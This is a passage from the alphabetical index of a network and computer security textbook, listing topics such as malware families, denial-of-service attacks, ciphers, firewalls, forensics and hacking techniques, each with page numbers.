 - anti-spyware policies, [284](#)
 - anti-spyware software, [280–284](#)
 - characteristics of, [278–279](#)
 - RedSheriff, [280](#)
 - TSPY_FAREIT.YOI, [56](#)
- threat assessment, [18–19](#), [24–25](#)
- Trojan horses, [20–21](#), [67–69](#), [268–269](#)
 - Anti-Spyware 2011, [271](#)
 - Back Orifice, [270–271](#)
 - Brain Test, [272](#)
 - characteristics of, [269](#)
 - creation of, [275–277](#)
 - FinFisher, [272](#)

- FlashBack, [273](#)
- Gameover Zeus, [55–56](#), [240](#), [273](#)
- Linux, [273–274](#)
- NetBus, [272–273](#)
- Portal of Doom, [274–275](#)
- prevention of, [277](#)
- Shedun, [272](#)
- symptoms of, [275](#)

viruses

- anti-virus policies and procedures, [258](#)
- anti-virus software, [248–257](#)
- armored, [244](#)
- boot sector, [66](#), [244](#)
- defined, [61](#), [237](#)
- economic impact of, [63](#)
- encrypted, [244](#)
- FakeAV, [54](#)
- Flame, [54](#)
- future of, [241](#)
- Gameover Zeus, [55–56](#), [240](#)
- investigating, [260](#)
- Kedi RAT, [241](#)
- Mac viruses, [55](#)
- macro, [66](#), [244](#)
- memory-resident, [244](#)
- Mirai, [241](#)

- motivations behind, [64](#)
- multipartite, [244](#)
- MyDoom, [20](#), [54–55](#), [68](#)
- Outlook script, [58](#)
- polymorphic, [66](#), [245](#)
- prevalence of, [236–237](#)
- removing, [260](#)
- Rombertik, [240](#)
- security policies for, [302](#)
- Shamoon, [240](#)
- Sobig, [62–63](#)
- sparse infector, [66](#), [244](#)
- spread of, [61–62](#), [237–239](#), [259–260](#)
- stealth, [66–67](#), [244](#)
- stopping, [259–260](#)
- system security for, [259](#)
- types of, [244–245](#)
- virulence of, [62](#)
- virus hoaxes, [64–65](#), [241–243](#)
- virus scanning, [65](#), [245–248](#)
- virus variations, [63–64](#)
- Zafi, [239–240](#)
- Wi-Fi hacking, [415–416](#)
- worms, [53](#)
 - defined, [237](#)
 - Zafi, [239–240](#)

audit trails, 421

auditpol, 427

audits. *See* security audits

authentication

L2TP (Layer 2 Tunneling Protocol), 182–186

Kerberos, 183–186

MS-CHAP, 182

PAP (Password Authentication Protocol), 182–183

SPAP (Shiva Password Authentication Protocol),
183

PPTP (Point-to-Point Tunneling Protocol)

CHAP (Challenge Handshake Authentication
Protocol), 181

EAP (Extensible Authentication Protocol), 180

Authentication Header (AH), 187

automatic patch systems, 318–319

Autopsy, 438

AV (asset value), 313

availability, 304, 342

Avast Antivirus, 254–255

Avast Internet Security, 79

AVG antivirus, 65, 255

avoidance of risk, 313

Aykroyd, Dan, 27

B

Back Orifice, 270–271

backups, 390

Bad Rabbit, 243

bandwidth throttling, 46

banishment vigilance, 123, 132

banks, attacks on, 452

bastion hosts, 89

BCPs (business continuity plans), 386

bcrypt, 154

Bellaso, Giovan Battista, 143

Bell-LaPadula model, 370–371

BIA (business impact analysis), 386–387

Biba Integrity model, 371

Biham, Eli, 153, 166

binary operations, 145–147

birthday attacks, 165–166

BitLocker, 447

black hat hackers, 26, 397

BlackBag Technologies, 434

BlackEnergy, 453

blacklisting, 84

block ciphers

 Blowfish, 151

 defined, 151

IDEA (International Data Encryption Algorithm),
152–153

selection of, 153

Serpent, 153

Twofish, 153

blocking attacks

defined, 22

DoS (denial of service), 22

 attacking your own system, 52

 DDoS (distributed denial of service), 45, 449

 defending against, 56–57

 DHCP (Dynamic Host Control Protocol)

 starvation, 50

 DRDoS (distributed reflection denial of service),

50–51

 HOIC (High Orbit Ion Cannon), 52–53

 HTTP (Hypertext Transfer Protocol) Post DoS

 attacks, 50

 ICMP (Internet Control Message Protocol)

 flooding, 50

 LOIC (Low Orbit Ion Cannon), 52–53

 PDoS (permanent denial of service), 50

 PoD (Ping of Death), 49

 real-world examples, 53–56

 simulation of, 41–45

 Smurf attacks, 48–49

SYN flooding, 45–47

tools for, 51–53

UDP (User Datagram Protocol) flooding, 49–50

underlying concept of, 41

Blowfish, 151

Blue Book (DoD), 366, 367

Bogachev, Evgeniy, 55

boot sector viruses, 66, 244

Bosselaers, Antoon, 162

Brain Test, 272

Bright Blue Book (DoD), 365

Bring Your Own Device (BYOD), 297–298

Broadband Guide, 78

Brown Book (DoD), 366

browsers

configuration, 225–228

Microsoft Internet Explorer, 225–228

other browsers, 228

forensics, 425–426

brute force techniques, 164

Budapest Convention on Cybercrime, 421

buffer overflow attacks, 57–59

building access, 383–384

Burgundy Book (DoD), 365

business continuity plans (BCPs), 386

business impact analysis (BIA), 386–387

BYOD (Bring Your Own Device), 297–298
bypassing passwords, 411–412

C

Caesar cipher, 141–142

cameras, security, 384

carriers, 167

CAs (certificate authorities), 159

**Catalyst 6500 Series Intrusion-Detection System
(IDSM-2) Services Module, 127**

CCIE (Cisco Certified Internetwork Expert), 115

cell phones

cellular networks, 435–436

evidence in, 433–434

ICCID (Integrated Circuit Card Identification), 437

IMSI (International Mobile Subscriber Identity), 436

logical imaging, 434–435

physical imaging, 435

SIM (Subscriber Identity Module), 436

Cellebrite, 434

cellular networks, 435–436

Center for Information Technology, 31–32

Central Intelligence Agency (CIA), 450

Cerberus Internet Scanner, 328–331

CERT (Computer Emergency Response Team), 32

certificate authorities (CAs), 159

certificate revocation list (CRL), 160

certificates, digital, 159–160

certifications, 2

CFCE (Certified Forensic Computer Examiner), 439

CHFI (EC-Council Certified Hacking Forensic
Investigator Certification), 439

SANS Institute, 440

tool certifications, 440

**Certified Forensic Computer Examiner (CFCE),
439**

CFAA (Computer Fraud and Abuse Act), 374

**CFCE (Certified Forensic Computer Examiner),
439**

chain of custody, 424

**Challenge Handshake Authentication Protocol
(CHAP), 181**

change requests, 300–301

channels, 167

**CHAP (Challenge Handshake Authentication
Protocol), 181**

Check Point, 113–114, 447

**CHFI (Computer Hacking Forensic Investigator),
439**

China, cyber terrorism by, 448

APT (Advanced Persistent Threat), 454

China Eagle Union, 454, 459

Chinese Wall model, 372

chip-off technique, 435

Choose Your Own Device (CYOD), 297

chosen plaintext, 165

CIA (Central Intelligence Agency), 450

CIA triad, 29, 304

ciphers. *See also* encryption

Atbash, 143

Blowfish, 151

Caesar, 141–142

Enigma, 145

Feistel, 148

IDEA (International Data Encryption Algorithm),
152–153

multi-alphabet substitution, 143

rail fence, 143–144

Rijndael, 150, 151–152

ROT 13, 142–143

selection of, 153

Serpent, 153

Twofish, 153

Vigenère, 144

circuit-level gateways, 82–83

Cisco

ASA (Adaptive Security Appliance), 114–115

Catalyst 6500 Series Intrusion-Detection System

(IDSM-2) Services Module, 127

CCIE (Cisco Certified Internetwork Expert), 115

IDS 4200 Series Sensors, 127

IDSs (intrusion detection systems), 127–128

next-generation firewalls, 81, 114–115

Next-Generation IPS, 127

VPNs (virtual private networks), 191

Clark-Wilson model, 371–372

classes, network, 5

closing ports, 320

Cloudflare, 82

**COBIT (Control Objectives for Information and
Related Technologies), 350–352**

Cold War, 457

collateral damage, 457

commands

fc, 431

gpedit, 208

ifconfig, 11–12

ipconfig, 11–12

iptables, 105–106

net sessions, 430

net start servicename, 219

net stop servicename, 219

net user, 413

netstat, 13, 432

openfiles, 431

ping, 12–13, 400

DoS (denial of service) attacks, 41–45

PoD (Ping of Death), 49

telnet, 410

tracert, 50, 109

tracert, 13, 50

Common Criteria, 367–369

Common Vulnerabilities and Exposures (CVE)

list, 341

CommView, 459–461

Comodo Firewall, 79

compulsory tunneling, 180

Computer Crimes Acts, 31–32

Computer Emergency Response Team (CERT), 32

computer forensics. *See* forensics

Computer Fraud and Abuse Act (CFAA), 374

**Computer Hacking Forensic Investigator (CHFI),
439**

**Computer Oracle and Password System (COPS),
331**

Computer Security Act, 31

***Computer Security Incident Handling Guide*
(NIST), 389**

Computer Security Subsystem Interpretation of

**the Trusted Computer System Evaluation
Criteria (DoD), 366**

confidentiality, 304, 342

configuration

browsers, 225–228

 Microsoft Internet Explorer, 225–228

 other browsers, 228

desktop, 296–297

firewalls, 84–85

 DMZs (demilitarized zones), 85

 dual-homed hosts, 86–87

 multiple firewalls, 89

 packet-filtering firewalls, 79–80

 router-based firewalls, 87–88

 screened hosts, 88–89

iptables, 105–106

Linux, 223–224

packet sniffers, 463

VPNs (virtual private networks), 192–194

Windows, 203

 accounts, 203–208

 EFS (Encrypting File System), 219–222

 registry settings, 211–216

 security policies, 208–211

 security templates, 222–223

 services, 216–219

connect scans, 400

consolidating logs, 91

Contingency Planning Guide for Information Technology Systems (NIST), 389

control objectives, 351

Control Objectives for Information and Related Technologies (COBIT), 350–352

controlled access protection (Orange Book), 357–359

cookies

RST, 47

SYN, 46

COPS (Computer Oracle and Password System), 331

copying drives, 423–424

Council of Europe Convention on Cybercrime, 421

Council of Europe's Electronic Evidence Guide, 421

Counterpane Internet Security, 459

Coursera, cryptography courses on, 147

CPTED (Crime Prevention Through Environmental Design), 385

cracking passwords, 21–22, 163–164, 416

Crime Prevention Through Environmental Design (CPTED), 385

CRLs (certificate revocation lists), 160

cross-site scripting, 415

cryptanalysis, 164–167

 birthday attacks, 165–166

 differential cryptanalysis, 166

 linear cryptanalysis, 166–167

 brute force, 164

 chosen plaintext, 165

 frequency analysis, 165

 known plaintext, 165

 related key attacks, 165

Cryptek VSLAN, 361

cryptography. *See* encryption

CryptoLocker, 56

CryptoWall, 56

custody, chain of, 424

cut-off testing, 388

**CVE (Common Vulnerabilities and Exposures),
341**

cyber terrorism, 444–445, 448

 APT (Advanced Persistent Threat), 454

 China Eagle Union, 454, 459

 computer-based espionage, 445–447

 defense strategies for, 455–456

 economic attacks, 448–450

 general attacks, 451–453

- hacktivism, 454
- information warfare, 456
 - information control, 457–458
 - propaganda, 456
- national defense systems, 450–451
- packet sniffers, 459
 - CommView, 459–461
 - EtherDetect, 461
 - features and configuration, 463
 - Wireshark, 462–463
- real-world examples, 459
- seriousness of, 448

cyber-revenge, 452

CYOD (Choose Your Own Device), 297

Cypher Research Laboratories, 147

D

DAC (Discretionary Access Control), 208

Daemen, John, 151–152

DAR (data at rest), 343

Data Encryption Standard (DES), 148–150

data integrity, 421

Data link layer (OSI model), 14, 180

data packets, 4

data sources, 125

- data states, 343**
- database accounts, 207**
- Daubert standard, 439**
- DDoS (distributed denial of service), 45, 449**
- de-authentication, 415**
- Decoy Server (Symantec), 131–132**
- decryption, 162–163**
 - cryptanalysis, 164–167
 - birthday attacks, 165–166
 - brute force, 164
 - chosen plaintext, 165
 - differential cryptanalysis, 166
 - frequency analysis, 165
 - known plaintext, 165
 - linear cryptanalysis, 166–167
 - related key attacks, 165
 - password cracking, 163–164
 - steganalysis, 168–169
 - steganography, 167–168
- default administrator account, disabling, 206–207**
- default shares, 215**
- deleted files, recovering, 428–430**
- demilitarized zones (DMZs), 85**
- denial of service attacks. *See* DoS (denial of service) attacks**

Department of Defense. See DoD (Department of Defense) Rainbow Series

Department of Defense Trusted Computer System Evaluation Criteria. See Orange Book (DoD)

dependencies, 218

DES (Data Encryption Standard), 148–150

desktop configuration, security policies for, 296–297

developmental policies, 304–305

DFIR (Digital Forensics Incident Response). See forensics

DHCP (Dynamic Host Control Protocol) starvation, 50

differential backups, 390

differential cryptanalysis, 166

Diffie, Whitfield, 156–157

Diffie-Hellman, 156–157

digital certificates, 159–160

Digital Forensics Incident Response (DFIR). See forensics

Digital Signature Algorithm (DSA), 157

digital signatures, 157–160

Digital Subscriber Line (DSL), 78

Digital Trends anti-virus reviews, 284

disabling default administrator account,

206–207

disaster recovery, 385

backups, 390

BCPs (business continuity plans), 386

BIA (business impact analysis), 386–387

DRPs (disaster recovery plans), 386

fault tolerance, 390–392

ISO/IEC standards, 388–389

NIST standards, 389

testing, 387–388

disaster recovery plans (DRPs), 386

Discretionary Access Control (DAC), 208

discretionary protection (Orange Book), 356

controlled access protection, 357–359

discretionary security protection, 356–357

DiskDigger, 428–430

distributed denial of service (DDoS), 45, 449

**distributed reflection denial of service (DRDoS),
50–51**

DIT (data in transit), 343

D-Link DFL-2560 Office Firewall, 112–113

DMZs (demilitarized zones), 85

DNS (Domain Name Service), 9

Dobbertin, Hans, 162

document review (DRPs), 387

documentation

FBI (Federal Bureau of Investigation) guidelines for,
424–425
forensics, 424
network protection documents, 344
organizational documentation, 334–335
personnel documentation, 344
physical security documentation, 343
policy documentation, 344
probe documents, 344

DoD (Department of Defense) Rainbow Series,
355, 450

Aqua Book, 365
Blue Book, 366, 367
Bright Blue Book, 365
Brown Book, 366
Burgundy Book, 365
Forest Green Book, 367
Grey/Silver Book, 366
Hot Peach Book, 367
Lavender Book, 365
Lavender/Purple Book, 366
Light Blue Book, 366
Light Pink Book, 367
Orange Book, 355–356
 discretionary protection, 356–359
 mandatory protection, 359–363

minimal protection, 356
verified protection, 363–364

Pink Book, 366

Purple Book, 366

Red Book, 366

Tan Book, 365

Turquoise Book, 367

Venice Blue Book, 366

Violet Book, 367

Yellow Book, 367

Yellow-Green Book, 366

domain admin privileges, obtaining, 413

Domain Name Service (DNS), 9

Domestic Security Service (Russia), hacking of, 459

DoS (denial of service) attacks, 22

attacking your own system, 52

DDoS (distributed denial of service), 45, 449

defending against, 56–57

DHCP (Dynamic Host Control Protocol) starvation, 50

DRDoS (distributed reflection denial of service), 50–51

HOIC (High Orbit Ion Cannon), 52–53

HTTP (Hypertext Transfer Protocol) Post DoS attacks, 50

ICMP (Internet Control Message Protocol) flooding,

50

LOIC (Low Orbit Ion Cannon), 52–53

PDoS (permanent denial of service), 50

PoD (Ping of Death), 49

real-world examples, 53–56

 CryptoLocker, 56

 CryptoWall, 56

 FakeAV, 54

 Flame, 54

 GameOver Zeus, 55–56

 MyDoom, 54–55

security policies for, 302

simulation of, 41–45

Smurf attacks, 48–49

SYN flooding, defending against, 45–47

 bandwidth throttling, 46

 micro blocks, 46

 RST cookies, 47

 stack tweaking, 47

 SYN cookies, 46

tools for, 51–53

UDP (User Datagram Protocol) flooding, 49–50

underlying concept of, 41

DoSHTTP, 53

downloads, scanning for viruses, 246

DRDoS (distributed reflection denial of service),
50–51
drives, copying, 423–424
DRPs (disaster recovery plans), 386
DSA (Digital Signature Algorithm), 157
DSL (Digital Subscriber Line), 78
dual-homed hosts, 86–87
Dynamic Host Control Protocol (DHCP), 50

E

EALs (Evaluation Assurance Levels), 369
EAP (Extensible Authentication Protocol), 180
ECC (Elliptic Curve Cryptography), 157
economic attacks, 448–450
**EDGE (Enhanced Data Rates for GSM
Evolution), 436**
EF (exposure factor), 313
EFS (Encrypting File System), 219–222
Electronic Evidence Guide, 421
ElGamal, 157
Elgamal, Taher, 157
EliteWrap, 65, 275–277
Elliptic Curve, 157
e-mail attachments
scanning for viruses, 246

security policies for, 294–295

employees, security policies for

leaving employees, 299–300

new employees, 299

Encapsulating Security Payload (ESP), 187

EnCase, 438

encrypted viruses, 244

Encrypting File System (EFS), 219–222

**encryption, 140, 147–148, 447. *See also* VPNs
(virtual private networks)**

binary operations, 145–147

cryptography careers, 147

cryptography courses, 147

decryption, 162–163

cryptanalysis, 164–167

password cracking, 163–164

steganalysis, 168–169

steganography, 167–168

digital certificates, 159–160

digital signatures, 157–159

EFS (Encrypting File System), 219–222

false claims about, 141

fraudulent encryption claims, identifying, 158

history of, 140–141

Atbash cipher, 143

Caesar cipher, 141–142

- Enigma, 145
- multi-alphabet substitution, 143
- rail fence, 143–144
- ROT 13, 142–143
- Vigenère, 144
- key stretching, 153–154
- PGP (Pretty Good Privacy), 160–161
- PRNG (pseudo-random number generators), 154
- public key, 154–155
 - Diffie-Hellman, 156–157
 - DSA (Digital Signature Algorithm), 157
 - ElGamal, 157
 - Elliptic Curve, 157
 - MQV (Menezes-Qu-Vanstone), 157
 - RSA method, 155–156
- quantum cryptography, 169
- SonicWALL, 111
- symmetric, 148
 - AES (Advanced Encryption Standard), 151–152
 - Blowfish, 151
 - DES (Data Encryption Standard), 148–150
 - IDEA (International Data Encryption Algorithm),
152–153
 - Serpent, 153
 - Twofish, 153

Enhanced Data Rates for GSM Evolution

(EDGE), 436

Enigma, 145

enterprise firewalls, 115

enumeration, 403–406

defined, 399

FreeNetEnumerator, 405–406

NSAuditor, 403–404

ShareEnum, 405

equipment security, 383

ESP (Encapsulating Security Payload), 187

espionage

defending against, 445–447

packet sniffers, 459

CommView, 459–461

EtherDetect, 461

features and configuration, 463

Wireshark, 462–463

/etc/httpd/conf, 42

/etc/init.d/http stop, 42

/etc/init.d/httpd start, 42

/etc/rc.d/rc.local, 223

EtherDetect, 461

ethical hackers, 27

**ETSI (European Telecommunications Standards
Institute), 435**

Evaluation Assurance Levels (EALs), 369

evidence

in browsers, 425–426

in cell phones, 433–434

cellular networks, 435–436

ICCID (Integrated Circuit Card Identification),
437

IMSI (International Mobile Subscriber Identity),
436

logical imaging, 434–435

physical imaging, 435

SIM (Subscriber Identity Module), 436

chain of custody, 424

deleted files, recovering, 428–430

logical imaging, 434–435

operating system utilities, 430

fc, 431

net sessions, 430

netstat, 432

openfiles, 431

in system logs

Linux logs, 427

Windows logs, 426–427

in Windows Registry, 432–433

executable profiling, 125

exposure factor (EF), 313

expulsion, 297

Extensible Authentication Protocol (EAP), 180

F

Failing mode (Specter), 130

faillog file, 427

FakeAV virus, 54

Farmer, Dan, 331

fault tolerance, 390–392

**FBI (Federal Bureau of Investigation) forensics
guidelines, 420, 424–425**

fc command, 431

Federal Information Processing Standard, 148

**Federal Office for Information Security
(Germany), 154**

Feistel cipher, 148

fencing, 383

file recovery, 428–430

file scanning, 246–247

**file systems, EFS (Encrypting File System),
219–222**

File Transfer Protocol (FTP), 9

filtering

packets

packet-filtering firewalls, 78–80

SPI (stateful packet inspection) firewalls, 80–81

ports, 219

routers, 60

FIN scans, 400

FinFisher, 272, 453

FIOS, 78

fire extinguishers, 384

fire protection, 384–385

Firepower 4100 series, 127

Firepower 8000 series, 127

Firepower 9000 series, 127

Firestarter, 79

firewalls, 100–101

application gateways, 81–82

basic operations, 77–78

blacklisting/whitelisting with, 84

circuit-level gateways, 82–83

configurations, 84–85

DMZs (demilitarized zones), 85

dual-homed hosts, 86–87

router-based firewalls, 87–88

screened hosts, 88–89

defined, 28, 77

enterprise firewalls, 115

hybrid firewalls, 84

log files, 91

medium-sized network firewalls, 113

- Check Point, 113–114
- Cisco next-generation firewalls, 114–115
- multiple firewalls, 89
- NAT (network address translation), 93
- packet-filtering firewalls, 78–80
- proxy servers
 - advantages of, 91–92
 - WinGate proxy server, 92–93
- selecting, 90
- single machine firewalls, 101
 - extra firewall features, 110
 - ICF (Internet Connection Firewall), 102
 - Linux firewalls, 104–106
 - McAfee Personal Firewall, 108–109
 - Symantec Norton, 105–106
 - UAC (User Account Control), 104
 - Windows 10 Firewall, 102–103
- small office/home office firewalls, 78, 110
 - D-Link DFL-2560 Office Firewall, 112–113
 - SonicWALL, 110–112
- SPI (stateful packet inspection) firewalls, 47, 80–81
- Windows, 219
- Flame**, 54
- FlashBack**, 273
- flooding attacks**
 - application gateways and, 82

ICMP (Internet Control Message Protocol) flooding,
50

SYN flooding, 45–47

UDP (User Datagram Protocol) flooding, 49–50

Forensic Toolkit (AccessData), 437

forensics, 420–421

certifications, 439–440

chain of custody, 424

documentation, 424

drives, copying, 423–424

evidence

in browsers, 425–426

in cell phones, 433–437

deleted files, recovering, 428–430

operating system utilities, 430

in system logs, 426–427

in Windows Registry, 432–433

forensic science, 438–439

guidelines for

Council of Europe's Electronic Evidence Guide,
421

SWGDE (Scientific Working Group on Digital
Evidence), 422

U.S. Secret Service, 422–423

tools

AccessData Forensic Toolkit, 437

EnCase, 438

OSForensics, 438

phone forensic tools, 434

Sleuth Kit (TSK), 438

Forest Green Book (DoD), 367

Forwarded Events log, 426

Fport, 336

fragmented payload, 67

**Fraud and Related Activity in Connection with
Access Devices, 375**

fraudulent encryption claims, identifying, 158

FreeNetEnumerator, 405–406

FreeS/WAN, 191–192

frequency analysis, 165

F-Secure Corporation, 32

F-Secure Labs, 32

FTP (File Transfer Protocol), 9

full backups, 390

full interruption testing, 388

functions, hash, 161, 181

HAVAL, 162

MD5, 161

RIPEMD (RACE Integrity Primitives Evaluation
Message Digest), 162

SHA (Secure Hash Algorithm), 161–162

G

Gameover Zeus, 55–56, 240, 273

gateways

application, 81–82

circuit-level, 82–83

Gator, 279–280

GCFA (GIAC Certified Forensic Analyst), 440

GCFE (GIAC Certified Forensic Examiner), 440

GDPR (General Data Protection Regulation), 375

general premises security, 385

**German Federal Office for Information Security
(BSI), 154**

Getronics/Wang Federal XTS-300, 362

GIAC Certified Forensic Analyst (GCFA), 440

GIAC Certified Forensic Examiner (GCFE), 440

Gimp, 126

**Global System for Mobile Communications
(GSM), 435**

Glossary of Computer Security Terms (DoD), 365

gpedit command, 208

GPOs (Group Policy Objects), 222

gray hat hackers, 26, 397

Grey/Silver Book (DoD), 366

Group Policy Objects (GPOs), 222

groups, user/group work profiling, 124–125

GSM (Global System for Mobile Communications), 435

Guidance Software EnCase, 438

A Guide to Understanding Audit in Trusted Systems (DoD), 365

A Guide to Understanding Covert Channel Analysis of Trusted Systems (DoD), 367

A Guide to Understanding Data Remanence in Automated Information Systems (DoD), 367

A Guide to Understanding Design Documentation in Trusted Systems (DoD), 365

A Guide to Understanding Identification and Authentication in Trusted Systems (DoD), 366

A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems (DoD), 367

A Guide to Understanding Trusted Distribution in Trusted Systems (DoD), 365

A Guide to Understanding Trusted Facility Management (DoD), 366

A Guide to Understanding Trusted Recovery (DoD), 367

A Guide to Writing the Security Features User's Guide for Trusted Systems (DoD), 367

Guidelines for Formal Verification Systems (DoD), 366

H

HackerWatch.org, 109

hacking techniques, 396–397. *See also* attacks

active scanning, 399–402

enumeration, 403–406

Nmap, 406–408

NSAuditor, 400–402

Shodan.io, 408–410

types of, 399–400

black hat hackers, 26, 397

ethical hackers, 27

gray hat hackers, 26, 397

hacker intrusions, 302–303

hacktivism, 454

manual scanning, 410–411

passive searches, 397–398

penetration testers, 27

phreaking, 27–28

physical access attacks, 411

domain admin privileges, obtaining, 413

OphCrack, 412–413

passwords, bypassing, 411–412

preparation, 397

remote access attacks, 413

cross-site scripting, 415

SQL injection, 413–415

script kiddies, 26

skilled versus unskilled hackers, 17

white hat hackers, 26, 397

Wi-Fi hacking, 415–416

hacktivism, 454

handshake (SSL/TLS), 188–190

hardening. *See* operating system hardening

hash functions, 161, 181

HVAL, 162

MD5, 161

RIPEMD (RACE Integrity Primitives Evaluation
Message Digest), 162

SHA (Secure Hash Algorithm), 161–162

HVAL, 162

**Health Information Technology for Economic
and Clinical (HITECH) Health Act, 373**

**Health Insurance Portability and Accountability
Act (HIPAA), 32, 373**

Hellman, Martin, 156–157, 164

heuristic scanning, 247

hex address format, 7

HFNetChkPro, 318

**HIDS (host-based intrusion-detection system),
126**

High Orbit Ion Cannon (HOIC), 52–53

hijacking, 60–61

HIPAA (Health Insurance Portability and Accountability Act), 32, 373

HIPS (host-based intrusion prevention system), 126

Hisecdc.inf template, 222

Hisecws.inf template, 222

HITECH (Health Information Technology for Economic and Clinical Health Act), 373

HKEY_CLASSES_ROOT, 212

HKEY_CURRENT_CONFIG, 212

HKEY_CURRENT_USER, 212

HKEY_LOCAL_MACHINE, 212

HKEY_USERS, 212

hoax viruses, 64–65, 241–242

HOIC (High Orbit Ion Cannon), 52–53

Home PC Firewall Guide, 78

honeypots

defined, 128

Specter, 129–131

Symantec Decoy Server, 131–132

Honeywell Multics, 361

host-based intrusion prevention system (HIPS), 126

host-based intrusion-detection system (HIDS), 126

hosts

bastion hosts, 89

dual-homed hosts, 86–87

HIDS (host-based intrusion-detection system), 126

HIPS (host-based intrusion prevention system), 126

screened hosts, 88–89

Hot Peach Book (DoD), 367

HowStuffWorks.com, 180

HTTP (Hypertext Transfer Protocol)

logical port, 9

Post DoS attacks, 50

httpd.conf file, 42

HTTPS (Hypertext Transfer Protocol Secure), 10

hubs, 123

hybrid firewalls, 84

hybrid security approach, 30

hyper-security, 450

**Hypertext Transfer Protocol. *See* HTTP
(Hypertext Transfer Protocol)**

Hypertext Transfer Protocol Secure (HTTPS), 10

I

IBM DES (Data Encryption Standard), 148–150

**ICCID (Integrated Circuit Card Identification),
437**

ICF (Internet Connection Firewall), 102

ICMP (Internet Control Message Protocol), 400

flooding, 50

logical port, 10

IDEA (International Data Encryption Algorithm), 152–153

IDS 4200 Series Sensors (Cisco), 127

IDSs (intrusion detection systems), 28, 122–123, 320

anomaly detection, 124–125

Cisco IDSs, 127–128

components, 125–126

HIDS (host-based intrusion-detection system), 126

honeypots

defined, 128

Specter, 129–131

Symantec Decoy Server, 131–132

intrusion deflection, 132

intrusion deterrence, 132–133

NIDS (network-based intrusion detection system),
126

preemptive blocking, 123, 132

processes, 125–126

Snort, 126–127

IEEE (Institute of Electrical and Electronics Engineers)

comparison of anti-spyware products, 284

JTAG (Joint Test Action Group) physical imaging,
435

ifconfig command, 11–12

IIN (Issuer Identification Number), 437

IKE (Internet Key Exchange), 188

IM (instant messaging)

scanning for viruses, 247–248

security policies for, 296

imaging

logical, 434–435

physical, 435

***The Imitation Game*, 145**

**IMSI (International Mobile Subscriber Identity),
436**

incremental backups, 390

Indian Snakes, 452

Indian websites, attacks on, 452

information control, 457–458

information states, 342–343

**Information Systems Audit and Control
Association (ISACA), 350–351**

information warfare, 456

information control, 457–458

propaganda, 456

installation

Apache web server, 41–42

security policies for, 296

instant messaging (IM)

scanning for viruses, 247–248

security policies, 296

**Integrated Circuit Card Identification (ICCID),
437**

integrity, 304, 342

**International Data Encryption Algorithm
(IDEA), 152–153**

**International Mobile Subscriber Identity (IMSI),
436**

**International Organization for Standardization.
See ISO (International Organization for
Standardization)**

Internet Connection Firewall (ICF), 102

**Internet Control Message Protocol. *See* ICMP
(Internet Control Message Protocol)**

Internet Explorer configuration, 225–228

privacy settings, 226

security settings, 226–228

Internet Key Exchange (IKE), 188

**Internet Protocol addresses. *See* IP (Internet
Protocol) addresses**

Internet Protocol Security (IPSec), 187–188

Internet Relay Chat (IRC), 10

**Internet Security Association and Key
Management Protocol (ISAKMP), 188**

Internet use policies, 293–294

**Introduction to Certification and Accreditation
(DoD), 367**

intrusion deflection

defined, 132

honeypots

defined, 128

Specter, 129–131

Symantec Decoy Server, 131–132

**intrusion detection systems. See IDSs (intrusion
detection systems)**

intrusion deterrence, 132–133

**intrusion prevention systems. See IPSs
(intrusion prevention systems)**

intrusions, defined, 21–22

investigating viruses, 260

Invisible Secrets, 168

IP (Internet Protocol) addresses, 4–8

IP spoofing, 59–60

IPv4, 4–6

IPv6, 7–8

loopback address, 5

public versus private, 7

ipchains, 104

ipconfig command, 11–12
IPSec (Internet Protocol Security), 187–188
IPSs (intrusion prevention systems), 112, 126
iptables command, 105–106
iptables, 104–106
IPVN, 187
IRA (Irish Republican Army), 456
Iran, cyber warfare by, 453
IRC (Internet Relay Chat), 10
Irish Republican Army (IRA), 456
ISACA (Information Systems Audit and Control Association), 350–351
ISAKMP (Internet Security Association and Key Management Protocol), 188
ISight Partners, 453
ISIS, cyber warfare against, 453
ISO (International Organization for Standardization), 352–353, 388–389
Issuer Identification Number (IIN), 437
IUSR_Machine name accounts, 207

J

jamming, 415
Jdbgmgr hoax, 241–242
Jdbgmgr.exe, 242

John the Ripper, 163–164

**Joint Test Action Group (JTAG) physical
imaging, 435**

JPS virus maker, 65

**JTAG (Joint Test Action Group) physical
imaging, 435**

K

Karachi Stock Exchange, 452

Kaspersky, 256

Kedi RAT, 241

KeepAlive, 216

Kerberos, 183–186

kern.log file, 427

key loggers, 21

key schedule, 148

key stretching, 153–154

known plaintext, 165

Knudsen, Lars, 153

Kosovo conflict, 452

L

L2TP (Layer 2 Tunneling Protocol)

authentication, 182–186

Kerberos, 183–186

MS-CHAP, 182

PAP (Password Authentication Protocol), 182–183

SPAP (Shiva Password Authentication Protocol),
183

compared to PPTP, 186–187

defined, 181

lab safety, 43

**labeled security protection (Orange Book),
359–361**

LastBit, 164

Lavender Book (DoD), 365, 366

**Layer 2 Tunneling Protocol. See L2TP (Layer 2
Tunneling Protocol)**

layered security approach, 30

LCP (Link Control Protocol), 179

least privileges, 29

least significant bit (LSB), 168

leaving employees, security policies for, 299–300

legislation, 31–32

CFAA (Computer Fraud and Abuse Act), 374

Computer Security Act, 31–32

Fraud and Related Activity in Connection with
Access Devices, 375

GDPR (General Data Protection Regulation), 375

HIPAA (Health Insurance Portability and
Accountability Act), 373

HITECH (Health Information Technology for
Economic and Clinical Health Act), 373

PCI DSS (Payment Card Industry Data Security
Standard), 375–376

SOX (Sarbanes-Oxley), 373–374

Light Blue Book (DoD), 366

Light Pink Book (DoD), 367

lighting, 384

likelihood of attack, 23–24

linear cryptanalysis, 166–167

Link Control Protocol (LCP), 179

Linksys, 78, 81

Linux, 126

Apache installation on, 42

commands

ifconfig, 11–12

iptables, 105–106

netstat, 13

ping, 12–13

telnet, 410

traceroute, 13, 50

configuration, 223–224

firewalls, 104–106

ipchains, 104

iptables, 104–106

patches, 224

system logs, 427

Trojan horses, 273–274

Linux Security Administrators Guide, 224

Linux.com, 224

Linux.Encoder.1, 241

Local Group Policy Editor utility, 208

log files, 91, 103

firewalls, 91

Linux logs, 427

Windows logs, 426–427

logical imaging, 434–435

logons, unique, 82

LOIC (Low Orbit Ion Cannon), 52–53

Long Term Evolution (LTE), 436

loopback addresses, 5

lpr.log file, 427

LSB (least significant bit), 168

LTE (Long Term Evolution), 436

M

MAC (Mandatory Access Control), 208

MAC (media access control) addresses, 9

Mac viruses, 55

MacDefender, 55

macro viruses, 66, 244

MacSecurity, 55

Magnet Forensics, 434

mail.* file, 427

malware, 20–21

adware

characteristics of, 278–279

Gator, 279–280

ransomware, 67, 243

CryptoLocker, 56

CryptoWall, 56

defined, 243

Linux.Encoder.1, 241

spyware, 21

